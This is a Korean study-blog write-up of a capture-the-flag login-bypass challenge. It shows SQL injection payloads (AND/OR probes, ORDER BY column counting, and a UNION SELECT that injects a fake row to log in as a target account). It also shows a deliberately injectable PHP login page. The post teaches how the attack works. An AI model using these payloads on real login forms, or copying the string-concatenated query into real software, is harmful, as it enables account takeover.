IT 성장기 (교육이수)/CTF 문제풀이

[모의해킹 CTF] Login Bypass 3

eezy 2024. 5. 26. 21:25

모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성. 

 

Login Bypass 3

<목차>

1. 사이트 분석

2. SQL 쿼리 유추

3. 로그인 페이지 재현

 

CTF 문제 : normaltic3 계정으로 로그인하자!

사이트 분석

▶ 로그인 패킷 상의 특이사항은 없다. 

 

기본 SQL Injection 확인

  • AND 구문은 로그인 성공했으나
  • OR 구문은 로그인 실패했다

SQL 쿼리 유추

id = doldol' #
pass = dol1234
SELECT * FROM member WHERE id='doldol' # AND pass='dol1234' -- 로그인 성공
SELECT * FROM member WHERE id='doldol' # AND pass='pass' -- 로그인 실패

 

유추한 쿼리에서 테스트 해본 바, 비밀번호를 검증하는 부분이 주석처리 되어있음에도, 비밀번호가 일치해야 로그인이 가능하다. 

 

이로써, 아이디와 비밀번호를 구분해서 인증하고 있을 것이라는 추측을 할 수 있다. 예측한 쿼리 구성은 아래와 같다. 

SELECT * FROM member WHERE id='doldol';

if ($db_pass==$user_pass){
	로그인 성공}

 

그렇다면,UNION SELECT 구문을 이용하여, 비밀번호를 모르더라도 로그인을 할 수 있지 않을까 생각해볼 수 있다. 

이를 위해서는 DB가 몇 개의 컬럼으로 구성되어 있는지를 알아야 한다. 

 

Order By : 

SELECT * FROM member WHERE id='doldol' order by 1# AND pass='dol1234' -- 로그인 성공
SELECT * FROM member WHERE id='doldol' order by 2# AND pass='dol1234' -- 로그인 성공

SELECT * FROM member WHERE id='doldol' order by 3# AND pass='dol1234' -- 로그인 실패

해당 데이터베이스는 총 2개의 컬럼으로 이루어져 있음을 알 수 있다. 

 

Union Select :

SELECT * FROM member WHERE id='' UNION SELECT 'normaltic3','hey' #

if ($db_pass==$user_pass){
	로그인 성공}

데이터베이스에 normaltic3 id와 pass를 임의로 입력하고, $user_pass 를 지정한 비밀번호로 입력하여 로그인에 성공!

 

 

flag 회수

 

로그인 페이지 재현

위에서 이해가 되지 않는 부분을 다시 짚어보기 위해, 직접 구성한 로그인 페이지에서 테스트를 해보았다. 

 


로그인 페이지 구성 코드

더보기
<?php
    //데이터베이스 연결 설정
    $db_connect = mysqli_connect("localhost", "admin", "student1234", "member");
    $db_connect-> set_charset("utf8");

    //데이터베이스 연결 오류 확인
    if ($db_connect->connect_error){
        die("No DB Connection". $db_connect->connect_error);}

    //POST 방식으로 사용자 입력 확인
    $id = $_POST["id"];
    $pass = $_POST["pass"];
    echo "POST ok<br>";
    
    //식별과 인증을 분리
    function authenticateUser2($db_connect, $id, $pass){
        $sql = "SELECT * FROM member WHERE UserId='$id'";
        $result = $db_connect -> query($sql);

        //사용자 ID 검증
        if($result->num_rows>0){
            $row_pass = $result->fetch_assoc(); // 한 행의 데이터를 가져옴
            //사용자 ID가 일치할 경우에만 비밀번호를 검증
            if($row_pass['Pass']==$pass){
                echo "login ok : 아이디와 비밀번호가 일치합니다.<br>$id and $pass <br>";
            }else{
                echo "login fail : 비밀번호가 일치하지 않습니다.<br>$id and $pass <br>";
            }
        }else{
            echo "login fail : 아이디 또는 비밀번호가 일치하지 않습니다.<br>$id and $pass <br>";
            echo "$id and $pass";
        }
    }
    authenticateUser2($db_connect, $id, $pass);
?>

DB 테이블


 

1. ID, Pass의 인증을 분리하였을 때, 왜 AND 조건은 참이지만, OR 조건은 거짓일까?

 

AND 조건 실행 시, web에서 받는 echo script

id = test' AND '1'='1
pass = test

POST ok
login ok : 아이디와 비밀번호가 일치합니다.
test' and '1'='1 and test

 

 DB 질의 시, 응답받는 데이터 테이블

 

따라서 최종 쿼리는 UserId='test' 조건만을 확인하게 됩니다. 이 경우, id가 'test'일 때 비밀번호를 검증하게 되어, 비밀번호가 맞으면 로그인에 성공합니다.

 

OR 조건 실행 시, web에서 받는 echo script

POST ok
login fail : 비밀번호가 일치하지 않습니다.
test' or '1'='1 and test

 

 DB 질의 시, 응답받는 데이터 테이블

 

OR 조건은 1=1이 항상 참이기에,결과적으로 이 쿼리는 모든 레코드를 반환하게 됩니다. 데이터베이스의 모든 사용자 정보가 반환되며, 첫 번째 사용자의 비밀번호가 test와 일치하는지 확인하게 됩니다. 첫 번째 사용자의 비밀번호가 test가 아니라면 로그인에 실패하게 됩니다.

 

 OR 조건으로 첫 번째 사용자의 비밀번호를 입력 시, web에서 받는 echo script

POST ok
login ok : 아이디와 비밀번호가 일치합니다.
test' or '1'='1 and 1234

 

 

2. UNION SELECT 구문 실행 시, DB에서는 어떻게 확인 될까?

 

 Union Select 구문 실행 시, web에서 받는 echo script

id=' UNION SELECT 'hey','hey'#
pass = hey

POST ok
login ok : 아이디와 비밀번호가 일치합니다.
' UNION SELECT 'hey','hey'# and hey

 

 DB 질의 시, 응답받는 데이터 테이블

 

앞서 모든 데이터베이스에는 id = hey, pass = hey라는 정보가 없음을 확인했다. 하지만 UNION SELECT 구문을 이용하면, 없는 데이터 값을 임의로 주입하여 불러올 수 있다.